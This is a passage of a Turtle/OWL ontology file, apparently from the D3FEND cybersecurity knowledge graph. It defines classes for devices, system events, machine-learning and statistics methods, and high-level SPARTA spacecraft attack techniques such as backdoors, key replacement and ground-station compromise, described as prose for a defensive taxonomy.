    rdfs:subClassOf d3f:DiskImage .

d3f:OpticalModem a owl:Class ;
    rdfs:label "Optical Modem" ;
    d3f:definition "A modem that connects to a fiber optic network is known as an optical network terminal (ONT) or optical network unit (ONU). These are commonly used in fiber to the home installations, installed inside or outside a house to convert the optical medium to a copper Ethernet interface, after which a router or gateway is often installed to perform authentication, routing, NAT, and other typical consumer internet functions, in addition to \"triple play\" features such as telephony and television service." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Modem#Optical_modem> ;
    rdfs:subClassOf d3f:Modem .

d3f:OrchestrationWorker a owl:Class ;
    rdfs:label "Orchestration Worker" ;
    d3f:definition "A d3f:Server which receives commands from a d3f:OrchestrationController to execute workloads." ;
    rdfs:seeAlso d3f:OrchestrationController ;
    rdfs:subClassOf d3f:OrchestrationServer .

d3f:OutboundInternetRPCTraffic a owl:Class ;
    rdfs:label "Outbound Internet RPC Traffic" ;
    d3f:definition "Outbound internet RPC traffic is RPC traffic that is: (a) on an outgoing connection initiated from a host within a network to a host outside the network, and (b) using a standard RPC protocol." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Internetworking>,
        <http://dbpedia.org/resource/Remote_procedure_call> ;
    rdfs:subClassOf d3f:OutboundInternetNetworkTraffic,
        d3f:OutboundNetworkTraffic,
        d3f:RPCNetworkTraffic .

d3f:OutputDeviceEvent a owl:Class ;
    rdfs:label "Output Device Event" ;
    d3f:definition "An event describing the activity or state of output devices, including sound cards, display adapters, or media controllers. These events relate to audio, video, or graphics functionality." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OutputDevice ],
        d3f:HardwareDeviceEvent .

d3f:PE32ExecutableFile a d3f:ExecutableBinary,
        owl:NamedIndividual ;
    rdfs:label "PE32 Executable File" .

d3f:PE32PLUSExecutableFile a d3f:ExecutableBinary,
        owl:NamedIndividual ;
    rdfs:label "PE32+ Executable File" .

d3f:PER-0001 a owl:Class ;
    rdfs:label "Memory Compromise - SPARTA" ;
    d3f:attack-id "PER-0001" ;
    d3f:definition "Threat actors may manipulate memory (boot, RAM, etc.) in order for their malicious code and/or commands to remain on the victim spacecraft. The spacecraft may have mechanisms that allow for the automatic running of programs on system reboot, entering or returning to/from safe mode, or during specific events. Threat actors may target these specific memory locations in order to store their malicious code or file, ensuring that the attack remains on the system even after a reset." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/PER-0001/> ;
    rdfs:subClassOf d3f:SPARTAPersistenceTechnique ;
    skos:prefLabel "Memory Compromise" .

d3f:PER-0002.01 a owl:Class ;
    rdfs:label "Hardware Backdoor - SPARTA" ;
    d3f:attack-id "PER-0002.01" ;
    d3f:definition "Threat actors may find and target various hardware backdoors within the victim spacecraft in the hopes of maintaining their attack. Once in orbit, mitigating the risk of various hardware backdoors becomes increasingly difficult for ground controllers. By targeting these specific vulnerabilities, threat actors are more likely to remain persistent on the victim spacecraft and perpetuate further attacks." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/PER-0002/01/> ;
    rdfs:subClassOf d3f:PER-0002 ;
    skos:prefLabel "Hardware Backdoor" .

d3f:PER-0002.02 a owl:Class ;
    rdfs:label "Software Backdoor - SPARTA" ;
    d3f:attack-id "PER-0002.02" ;
    d3f:definition "Threat actors may inject code to create their own backdoor to establish persistent access to the spacecraft. This may be done through modification of code throughout the software supply chain or through modification of the software-defined radio configuration (if applicable)." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/PER-0002/02/> ;
    rdfs:subClassOf d3f:PER-0002 ;
    skos:prefLabel "Software Backdoor" .

d3f:PER-0003 a owl:Class ;
    rdfs:label "Ground System Presence - SPARTA" ;
    d3f:attack-id "PER-0003" ;
    d3f:definition "Threat actors may compromise target owned ground systems that can be used for persistent access to the spacecraft or to perpetuate other techniques. These ground systems have already been configured for communications to the victim spacecraft. By compromising this infrastructure, threat actors can stage, launch, and execute persistently." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/PER-0003/> ;
    rdfs:subClassOf d3f:SPARTAPersistenceTechnique ;
    skos:prefLabel "Ground System Presence" .

d3f:PER-0004 a owl:Class ;
    rdfs:label "Replace Cryptographic Keys - SPARTA" ;
    d3f:attack-id "PER-0004" ;
    d3f:definition "Threat actors may attempt to fully replace the cryptographic keys on the spacecraft which could lockout the mission operators and enable the threat actor's communication channel. Once the encryption key is changed on the spacecraft, the spacecraft is rendered inoperable from the operators perspective as they have lost commanding access. Threat actors may exploit weaknesses in the key management strategy. For example, the threat actor may exploit the over-the-air rekeying procedures to inject their own cryptographic keys." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/PER-0004/> ;
    rdfs:subClassOf d3f:SPARTAPersistenceTechnique ;
    skos:prefLabel "Replace Cryptographic Keys" .

d3f:PER-0005 a owl:Class ;
    rdfs:label "Credentialed Persistence - SPARTA" ;
    d3f:attack-id "PER-0005" ;
    d3f:definition "Threat actors may acquire or leverage valid credentials to maintain persistent access to a spacecraft or its supporting command and control (C2) systems. These credentials may include system service accounts, user accounts, maintenance access credentials, cryptographic keys, or other authentication mechanisms that enable continued entry without triggering access alarms. By operating with legitimate credentials, adversaries can sustain access over extended periods, evade detection, and facilitate follow-on tactics such as command execution, data exfiltration, or lateral movement. Credentialed persistence is particularly effective in environments lacking strong credential lifecycle management, segmentation, or monitoring allowing threat actors to exploit trusted pathways while remaining embedded in mission operations." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/PER-0005/> ;
    rdfs:subClassOf d3f:SPARTAPersistenceTechnique ;
    skos:prefLabel "Credentialed Persistence" .

d3f:POSIXSymbolicLink a owl:Class ;
    rdfs:label "POSIX Symbolic Link" ;
    d3f:definition "A POSIX-compliant symbolic link.  These are often fast symbolic links, but need not be." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Symbolic_link> ;
    rdfs:subClassOf d3f:SymbolicLink,
        d3f:UnixLink .

d3f:PackageURL a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Package URL" ;
    d3f:definition "A package URL, or purl, is a URL used to identify a software package in a mostly universal and uniform way across programming languages, package managers, packaging conventions, tools, APIs and databases." ;
    d3f:identifies d3f:SoftwarePackage ;
    rdfs:isDefinedBy <https://github.com/package-url/purl-spec/blob/main/PURL-SPECIFICATION.rst> ;
    rdfs:seeAlso <https://github.com/package-url/purl-spec> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:identifies ;
            owl:someValuesFrom d3f:SoftwarePackage ],
        d3f:URL ;
    skos:altLabel "purl" .

d3f:PacketLog a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Packet Log" ;
    d3f:definition "A log of all the network packet data captured from a network by a network sensor (i.e., packet analyzer)," ;
    d3f:records d3f:NetworkSession ;
    d3f:summarizes d3f:PacketCaptureFile ;
    rdfs:seeAlso <http://dbpedia.org/resource/Packet_analyzer> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:summarizes ;
            owl:someValuesFrom d3f:PacketCaptureFile ],
        [ a owl:Restriction ;
            owl:onProperty d3f:records ;
            owl:someValuesFrom d3f:NetworkSession ],
        d3f:Log .

d3f:Page a owl:Class ;
    rdfs:label "Page" ;
    d3f:definition "A page, memory page, logical page, or virtual page is a fixed-length contiguous block of virtual memory, described by a single entry in the page table. It is the smallest unit of data for memory management in a virtual memory operating system." ;
    rdfs:isDefinedBy <https://dbpedia.org/page/Page_(computer_memory)> ;
    rdfs:subClassOf d3f:MemoryBlock .

d3f:Parameter-basedTransferLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Parameter-based Transfer Learning" ;
    d3f:d3fend-id "D3A-PBTL" ;
    d3f:definition "The idea behind parameter-based methods is that a well-trained model on the source domain has learned a well-defined structure, and if two tasks are related, this structure can be transferred to the target model." ;
    d3f:kb-article """## References
Georgian Impact Blog. (n.d.). Transfer Learning Part 1. [Link](https://medium.com/georgian-impact-blog/transfer-learning-part-1-ed0c174ad6e7#:~:text=Homogeneous%20Transfer%20Learning-,1.,the%20target%20domain%20for%20training).""" ;
    rdfs:subClassOf d3f:HomogenousTransferLearning .

d3f:ParametricTests a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Parametric Tests" ;
    d3f:d3fend-id "D3A-PT" ;
    d3f:definition "A parametric test relies upon the assumption that the data you want to test is (or approximately is) normally distributed." ;
    d3f:kb-article """## References
Newcastle University. (n.d.). Parametric Hypothesis Tests. [Link](https://www.ncl.ac.uk/webtemplate/ask-assets/external/maths-resources/psychology/parametric-hypothesis-tests.html)""" ;
    rdfs:subClassOf d3f:HypothesisTesting .

d3f:ParentProcess a owl:Class ;
    rdfs:label "Parent Process" ;
    d3f:definition "In computing, a parent process is a process that has created one or more child processes." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Parent_process> ;
    rdfs:seeAlso <http://dbpedia.org/resource/Child_process> ;
    rdfs:subClassOf d3f:Process .

d3f:PasswordManager a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Password Manager" ;
    d3f:contains d3f:Credential ;
    d3f:definition "A password manager is a software application or hardware that helps a user store and organize passwords. Password managers usually store passwords encrypted, requiring the user to create a master password: a single, ideally very strong password which grants the user access to their entire password database. Some password managers store passwords on the user's computer (called offline password managers), whereas others store data in the provider's cloud (often called online password managers). However offline password managers also offer data storage in the user's own cloud accounts rather than the provider's cloud. While the core functionality of a password manager is to securely store large collections of passwords, many provide additional features such as form filling and password generation." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Password_manager> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:Credential ],
        d3f:Application .

d3f:PearsonsCorrelationCoefficient a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Pearson's Correlation Coefficient" ;
    d3f:d3fend-id "D3A-PCC" ;
    d3f:kb-article """## References
Wolfram MathWorld. (n.d.). Correlation Coefficient. [Link](https://mathworld.wolfram.com/CorrelationCoefficient.html)""" ;
    rdfs:subClassOf d3f:Correlation .

d3f:PeripheralDeviceEvent a owl:Class ;
    rdfs:label "Peripheral Device Event" ;
    d3f:definition "An event involving external or auxiliary devices, such as USB drives, Thunderbolt peripherals, or Bluetooth devices. Peripheral events provide visibility into resource availability and potential unauthorized access." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:RemovableMediaDevice ],
        d3f:HardwareDeviceEvent .

d3f:PeripheralHubFirmware a owl:Class ;
    rdfs:label "Peripheral Hub Firmware" ;
    d3f:definition "Firmware that is installed on peripheral hub device such as a USB or Firewire hub." ;
    rdfs:seeAlso <http://dbpedia.org/resource/USB_hub> ;
    rdfs:subClassOf d3f:PeripheralFirmware ;
    skos:altLabel "USB Hub Firmware" .

d3f:Perturbation-basedLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Perturbation-based Learning" ;
    d3f:d3fend-id "D3A-PBL" ;
    d3f:definition "Perturbation based methods are proposed under the smoothness assumption, which indicates that two data points close to each other in feature space are likely to have the same label." ;
    d3f:kb-article """## References
Zheng, Y., & Song, Y. (2021). An Effective Perturbation-Based Semi-Supervised Learning Method for Acoustic Event Classification. IEEE/ACM Transactions on Audio, Speech, and Language Processing, 29, 3580-3591. [Link](https://www.semanticscholar.org/paper/An-Effective-Perturbation-Based-Semi-Supervised-for-Zheng-Song/b75ae37d137ac354eb2ed42917e461b4dccdc977).

Engelen, S., & Hoos, H. (2020). A survey on semi-supervised learning. Machine Learning, 109(2), 299-337. [Link](https://link.springer.com/article/10.1007/s10994-019-05855-6).""" ;
    rdfs:subClassOf d3f:IntrinsicallySemi-supervisedLearning .

d3f:PhiCoefficient a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Phi Coefficient" ;
    d3f:d3fend-id "D3A-PC" ;
    d3f:definition "The phi coefficient (or mean square contingency coefficient is a measure of association for two binary variables." ;
    d3f:kb-article """## References
\\Wikipedia. (n.d.). Phi coefficient. [Link](https://en.wikipedia.org/wiki/Phi_coefficient)""" ;
    d3f:synonym "MCC",
        "Matthews Correlation Coefficient (in machine learning)" ;
    rdfs:subClassOf d3f:Correlation .

d3f:PhysicalAttacker a owl:Class ;
    rdfs:label "Physical Attacker" ;
    d3f:definition "An attacker who is physically close enough to interact with the system directly, such as through physical access to devices." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:ComputerPlatform ],
        [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:HardwareDevice ],
        d3f:LocalAttacker .

d3f:PhysicalLinkDisableEvent a owl:Class ;
    rdfs:label "Physical Link Disable Event" ;
    d3f:definition "An administrator issues a shutdown or disable command, forcing the link out of service regardless of signal status." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:PhysicalLinkUpEvent ],
        d3f:PhysicalLinkEvent .

d3f:PhysicalLinkErrorDisableEvent a owl:Class ;
    rdfs:label "Physical Link Error Disable Event" ;
    d3f:definition "The device automatically disables the link in response to fault conditions such as excessive faults or signal degradation." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:PhysicalLinkDownEvent ],
        d3f:PhysicalLinkEvent .

d3f:Pix2Pix a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Pix2Pix" ;
    d3f:d3fend-id "D3A-PIX" ;
    d3f:definition "Pix2Pix is based on condtional GAN architecture and are trained on paired set of images or scenes from two domains to be used for translation." ;
    d3f:kb-article """## References
Esri. (n.d.). How Pix2Pix Works. [Link](https://developers.arcgis.com/python/guide/how-pix2pix-works/)""" ;
    rdfs:subClassOf d3f:Image-to-ImageTranslationGAN .

d3f:Point-biserialCorrelationCoefficient a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Point-biserial Correlation Coefficient" ;
    d3f:d3fend-id "D3A-PBCC" ;
    d3f:definition "The point biserial correlation coefficient (rpb) is a correlation coefficient used when one variable (e.g. Y) is dichotomous; Y can either be \"naturally\" dichotomous, like whether a coin lands heads or tails, or an artificially dichotomized variable." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Point-biserial correlation coefficient. [Link](https://en.wikipedia.org/wiki/Point-biserial_correlation_coefficient)""" ;
    rdfs:subClassOf d3f:Correlation .

d3f:PointEstimation a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Point Estimation" ;
    d3f:d3fend-id "D3A-PE" ;
    d3f:definition "A point estimation is a single value that estimates the parameter. Point estimates are single values calculated from the sample" ;
    d3f:kb-article """## References
Pennsylvania State University. (n.d.). Statistical Inference and Estimation. [Link](https://online.stat.psu.edu/stat504/lesson/statistical-inference-and-estimation)""" ;
    rdfs:subClassOf d3f:Estimation .

d3f:PowerAndThermalDeviceEvent a owl:Class ;
    rdfs:label "Power and Thermal Device Event" ;
    d3f:definition "An event involving power supplies, batteries, or thermal management devices. These events represent changes in power states, temperature thresholds, or cooling system activity." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:Sensor ],
        d3f:HardwareDeviceEvent .

d3f:PowershellScriptFile a d3f:ExecutableScript,
        owl:NamedIndividual ;
    rdfs:label "Powershell Script File" .

d3f:PreAuthenticationEvent a owl:Class ;
    rdfs:label "Pre-Authentication Event" ;
    d3f:definition "An event representing preparatory steps or processes conducted prior to the primary authentication operation. Pre-authentication often involves initial protocol exchanges, cryptographic challenges, or the validation of supplemental factors (e.g., pre-shared keys) to ensure the readiness and security of the authentication workflow." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:precedes ;
            owl:someValuesFrom d3f:Authentication ],
        d3f:AuthenticationEvent .

d3f:PrincipalComponentAnalysis a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Principal Component Analysis" ;
    d3f:d3fend-id "D3A-PCA" ;
    d3f:definition "Principal components analysis (PCA) creates a new set of orthogonal variables that contain the same information as the original set. It rotates the axes of variation to give a new set of orthogonal axes, ordered so that they summarize decreasing proportions of the variation." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Multivariate statistics. [Link](https://en.wikipedia.org/wiki/Multivariate_statistics)""" ;
    d3f:synonym "PCA" ;
    rdfs:subClassOf d3f:MultivariateAnalysis .

d3f:PrincipalComponentsAnalysis a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Principal Components Analysis" ;
    d3f:d3fend-id "D3A-PCA" ;
    d3f:definition "Principal Component Analysis (PCA) is a statistic-based method of identifying patterns in a large dataset while increasing interpretability and preserving information." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Principal component analysis. [Link](https://en.wikipedia.org/wiki/Principal_component_analysis)""" ;
    rdfs:subClassOf d3f:DimensionReduction .

d3f:PrintServer a owl:Class ;
    rdfs:label "Print Server" ;
    d3f:definition "A print server, or printer server, is a device that connects printers to client computers over a network. It accepts print jobs from the computers and sends the jobs to the appropriate printers, queuing the jobs locally to accommodate the fact that work may arrive more quickly than the printer can actually handle." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Print_server> ;
    rdfs:subClassOf d3f:Server .

d3f:ProbabilisticLogic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Probabilistic Logic" ;
    d3f:d3fend-id "D3A-PL" ;
    d3f:definition "Probabilistic logic extends traditional logic truth tables with probabilistic expressions." ;
    d3f:kb-article """## References
1. Probabilistic logic. (2023, June 5). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Probabilistic_logic)""" ;
    rdfs:subClassOf d3f:SymbolicAI .

d3f:ProcessAccessEvent a owl:Class ;
    rdfs:label "Process Access Event" ;
    d3f:definition "An event where one process interacts with another, such as reading memory, inspecting state, or altering behavior." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:ProcessCreationEvent ],
        d3f:ProcessEvent .

d3f:ProcessSetUserIDEvent a owl:Class ;
    rdfs:label "Process Set User ID Event" ;
    d3f:definition "An event where a process changes or adopts a specific user identity, modifying its access privileges or operational context." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:ProcessCreationEvent ],
        d3f:ProcessEvent .

d3f:ProcessTerminationEvent a owl:Class ;
    rdfs:label "Process Termination Event" ;
    d3f:definition "An event marking the cessation of a process, including resource deallocation and cleanup, either due to normal completion or abnormal termination." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:ProcessCreationEvent ],
        d3f:ProcessEvent .

d3f:ProgressivelyGrowingGAN a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Progressively Growing GAN" ;
    d3f:d3fend-id "D3A-PGG" ;
    d3f:definition "Progressive Growing GAN (ProGAN) is an extension to the GAN training process that allows for the stable training of generator models that can output large high-quality images." ;
    d3f:kb-article """## References

Machine Learning Mastery. (n.d.). Introduction to Progressive Growing Generative Adversarial Networks. [Link](https://machinelearningmastery.com/introduction-to-progressive-growing-generative-adversarial-networks/)""" ;
    d3f:synonym "ProGAN" ;
    rdfs:subClassOf d3f:ImageSynthesisGAN .

d3f:ProjectedClustering a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Projected Clustering" ;
    d3f:d3fend-id "D3A-PC" ;
    d3f:definition "Projected clustering is a dimension reduction subspace clustering method." ;
    d3f:kb-article """## References
GeeksforGeeks. (n.d.). Projected Clustering in Data Analytics. [Link](https://www.geeksforgeeks.org/projected-clustering-in-data-analytics/)""" ;
    rdfs:subClassOf d3f:High-dimensionClustering .

d3f:Prolog a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Prolog" ;
    d3f:d3fend-id "D3A-PRO" ;
    d3f:definition "Prolog has its roots in first-order logic, a formal logic, and unlike many other programming languages." ;
    d3f:kb-article """## How it works
Prolog is intended primarily as a declarative programming language: the program logic is expressed in terms of relations, represented as facts and rules. A computation is initiated by running a query over these relations.

## References
1. Prolog. (2023, April 5). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Prolog)""" ;
    rdfs:subClassOf d3f:LogicProgramming .

d3f:PropositionalLogic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Propositional Logic" ;
    d3f:d3fend-id "D3A-PL" ;
    d3f:definition "Propositional logic deals with statements (i.e., propositions, which can be true or false) and relations between propositions, including the construction of arguments based on them." ;
    d3f:kb-article """## How it works
Compound propositions are formed by connecting propositions by logical connectives. Propositions that contain no logical connectives are called atomic propositions.

## References
1. Propositional Calculus. (2022, May 31). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Propositional_calculus)""" ;
    d3f:synonym "Propositional Calculus" ;
    rdfs:subClassOf d3f:SymbolicAI .

d3f:ProximitySensorEvent a owl:Class ;
    rdfs:label "Proximity Sensor Event" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:ProximitySensor ],
        d3f:PhysicalAccessAlarmEvent .

d3f:PythonPackage a owl:Class ;
    rdfs:label "Python Package" ;
    d3f:definition "A Python package is an aggregation of many Python files - either in source code or in bytecode - and associated metadata and resources (text, images, etc.). Python packages can be distributed in different file formats." ;
    rdfs:seeAlso <https://packaging.python.org/> ;
    rdfs:subClassOf d3f:SoftwarePackage .

d3f:PythonScriptFile a owl:Class ;
    rdfs:label "Python Script File" ;
    d3f:synonym "A script file written in the Python programming language." ;
    rdfs:subClassOf d3f:ExecutableScript .

d3f:QueryByCommittee a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Query By Committee" ;
    d3f:d3fend-id "D3A-QBC" ;
    d3f:definition "Query by Committee (QBC) takes inspiration from ensemble methods. Instead of just one classifier, it takes into account the decision of a committee C=ℎ1,…,ℎc of classifiers ℎi. Each classifier has the same target classes, but a different underlying model or a different view on the data." ;
    d3f:kb-article """## References
Intro to Active Learning. inovex Blog.  [Link](https://www.inovex.de/de/blog/intro-to-active-learning/).""" ;
    rdfs:subClassOf d3f:ActiveLearning .

d3f:RAM a owl:Class ;
    rdfs:label "RAM" ;
    d3f:definition "Random-access memory (RAM) is a form of computer memory that can be read and changed in any order, typically used to store working data and machine code." ;
    d3f:synonym "Random-access Memory" ;
    rdfs:isDefinedBy <https://dbpedia.org/page/Random-access_memory> ;
    rdfs:subClassOf d3f:PrimaryStorage .

d3f:RD-0001.01 a owl:Class ;
    rdfs:label "Ground Station Equipment - SPARTA" ;
    d3f:attack-id "RD-0001.01" ;
    d3f:definition """Threat actors will likely need to acquire the following types of equipment to establish ground-to-space communications:

Antenna positioners: which also usually come with satellite tracking antenna systems, in order to accurately send and receive signals along several different bands. This infrastructure is useful in pinpointing the location of a spacecraft in the sky.

Ground antennas: in order to send commands and receive telemetry from the victim spacecraft. Threat actors can utilize these antennas in relation to other tactics such as execution and exfiltration. Instead of compromising a third-part ground station, threat actors may opt to configure and run their own antennas in support of operations.

Ground data processors: in order to convert RF signals to TCP packets. This equipment is utilized in ground stations to convert the telemetry into human readable format.

Ground radio modems: in order to convert TCP packs to RF signals. This equipment is utilized in ground stations to convert commands into RF signals in order to send them to orbiting spacecraft.

Signal generator: in order to configure amplitude, frequency, and apply modulations to the signal.

Additional examples of equipment include couplers, attenuators, power dividers, diplexers, low noise amplifiers, high power amplifiers, filters, mixers, spectrum analyzers, etc.""" ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/RD-0001/01/> ;
    rdfs:subClassOf d3f:RD-0001 ;
    skos:prefLabel "Ground Station Equipment" .

d3f:RD-0001.02 a owl:Class ;
    rdfs:label "Commercial Ground Station Services - SPARTA" ;
    d3f:attack-id "RD-0001.02" ;
    d3f:definition "Threat actors may buy or rent commercial ground station services. These services often have all of the individual parts that are needed to properly communicate with spacecrafts. By utilizing existing infrastructure, threat actors may save time, money, and effort in order to support operations." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/RD-0001/02/> ;
    rdfs:subClassOf d3f:RD-0001 ;
    skos:prefLabel "Commercial Ground Station Services" .

d3f:RD-0001.03 a owl:Class ;
    rdfs:label "Spacecraft - SPARTA" ;
    d3f:attack-id "RD-0001.03" ;
    d3f:definition "Threat actors may acquire their own spacecraft that has the capability to maneuver within close proximity to a target spacecraft. Since many of the commercial and military assets in space are tracked, and that information is publicly available, attackers can identify the location of space assets to infer the best positioning for intersecting orbits. Proximity operations support avoidance of the larger attenuation that would otherwise affect the signal when propagating long distances, or environmental circumstances that may present interference." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/RD-0001/03/> ;
    rdfs:subClassOf d3f:RD-0001 ;
    skos:prefLabel "Spacecraft" .

d3f:RD-0001.04 a owl:Class ;
    rdfs:label "Launch Facility - SPARTA" ;
    d3f:attack-id "RD-0001.04" ;
    d3f:definition "Threat actors may need to acquire a launch facility, which is a specialized location designed for launching spacecraft and rockets into space. These facilities typically include launch pads, control centers, and assembly buildings, and are often located near bodies of water or in remote areas to minimize potential safety hazards and provide enough room for rocket launches. Launch facilities can be operated by the military, national space agencies such as NASA in the United States or Roscosmos in Russia, or by private companies such as SpaceX or Blue Origin." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/RD-0001/04/> ;
    rdfs:subClassOf d3f:RD-0001 ;
    skos:prefLabel "Launch Facility" .

d3f:RD-0002.01 a owl:Class ;
    rdfs:label "Mission-Operated Ground System - SPARTA" ;
    d3f:attack-id "RD-0002.01" ;
    d3f:definition "Threat actors may compromise mission owned/operated ground systems that can be used for future campaigns or to perpetuate other techniques. These ground systems have already been configured for communications to the victim spacecraft. By compromising this infrastructure, threat actors can stage, launch, and execute an operation. Threat actors may utilize these systems for various tasks, including Execution and Exfiltration." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/RD-0002/01/> ;
    rdfs:subClassOf d3f:RD-0002 ;
    skos:prefLabel "Mission-Operated Ground System" .

d3f:RD-0002.02 a owl:Class ;
    rdfs:label "3rd Party Ground System - SPARTA" ;
    d3f:attack-id "RD-0002.02" ;
    d3f:definition "Threat actors may compromise access to third-party ground systems that can be used for future campaigns or to perpetuate other techniques. These ground systems can be or may have already been configured for communications to the victim spacecraft. By compromising this infrastructure, threat actors can stage, launch, and execute an operation." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/RD-0002/02/> ;
    rdfs:subClassOf d3f:RD-0002 ;
    skos:prefLabel "3rd Party Ground System" .

d3f:RD-0002.03 a owl:Class ;
    rdfs:label "3rd-Party Spacecraft - SPARTA" ;
    d3f:attack-id "RD-0002.03" ;
    d3f:definition "Threat actors may compromise a 3rd-party spacecraft that has the capability to maneuver within close proximity to a target spacecraft. This technique enables historically lower-tier attackers the same capability as top tier nation-state actors without the initial development cost. Additionally, this technique complicates attribution of an attack. Since many of the commercial and military assets in space are tracked, and that information is publicly available, attackers can identify the location of space assets to infer the best positioning for intersecting orbits. Proximity operations support avoidance of the larger attenuation that would otherwise affect the signal when propagating long distances, or environmental circumstances that may present interference. Further, the compromised spacecraft may posses the capability to grapple target spacecraft once it has established the appropriate space rendezvous. If from a proximity / rendezvous perspective a threat actor has the ability to connect via docking interface or expose testing (i.e., JTAG port) once it has grappled the target spacecraft, they could perform various attacks depending on the access enabled via the physical connection." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/RD-0002/03/> ;
    rdfs:subClassOf d3f:RD-0002 ;
    skos:prefLabel "3rd-Party Spacecraft" .

d3f:RD-0003.01 a owl:Class ;
    rdfs:label "Exploit/Payload - SPARTA" ;
    d3f:attack-id "RD-0003.01" ;
    d3f:definition "Threat actors may buy, steal, or download exploits and payloads that can be used for future campaigns or to perpetuate other techniques. An exploit/payload takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on the victim spacecraft's hardware, software, and/or subsystems. Rather than develop their own, threat actors may find/modify exploits from online or purchase them from exploit vendors." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/RD-0003/01/> ;
    rdfs:subClassOf d3f:RD-0003 ;
    skos:prefLabel "Exploit/Payload" .

d3f:RD-0003.02 a owl:Class ;
    rdfs:label "Cryptographic Keys - SPARTA" ;
    d3f:attack-id "RD-0003.02" ;
    d3f:definition "Threat actors may obtain encryption keys as they are used for the main commanding of the target spacecraft or any of its subsystems/payloads. Once obtained, threat actors may use any number of means to command the spacecraft without needing to go through a legitimate channel. These keys may be obtained through reconnaissance of the ground system or retrieved from the victim spacecraft." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/RD-0003/02/> ;
    rdfs:subClassOf d3f:RD-0003 ;
    skos:prefLabel "Cryptographic Keys" .

d3f:RD-0004.01 a owl:Class ;
    rdfs:label "Identify/Select Delivery Mechanism - SPARTA" ;
    d3f:attack-id "RD-0004.01" ;
    d3f:definition "Threat actors may identify, select, and prepare a delivery mechanism in which to attack the space system (i.e., communicate with the victim spacecraft, deny the ground, etc.) to achieve their desired impact. This mechanism may be located on infrastructure that was previously purchased or rented by the threat actor or was otherwise compromised by them. The mechanism must include all aspects needed to communicate with the victim spacecraft, including ground antenna, converters, and amplifiers." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/RD-0004/01/> ;
    rdfs:subClassOf d3f:RD-0004 ;
    skos:prefLabel "Identify/Select Delivery Mechanism" .

d3f:RD-0004.02 a owl:Class ;
    rdfs:label "Upload Exploit/Payload - SPARTA" ;
    d3f:attack-id "RD-0004.02" ;
    d3f:definition "Threat actors may upload exploits and payloads to a third-party infrastructure that they have purchased or rented or stage it on an otherwise compromised ground station. Exploits and payloads would include files and commands to be uploaded to the victim spacecraft in order to conduct the threat actor's attack." ;
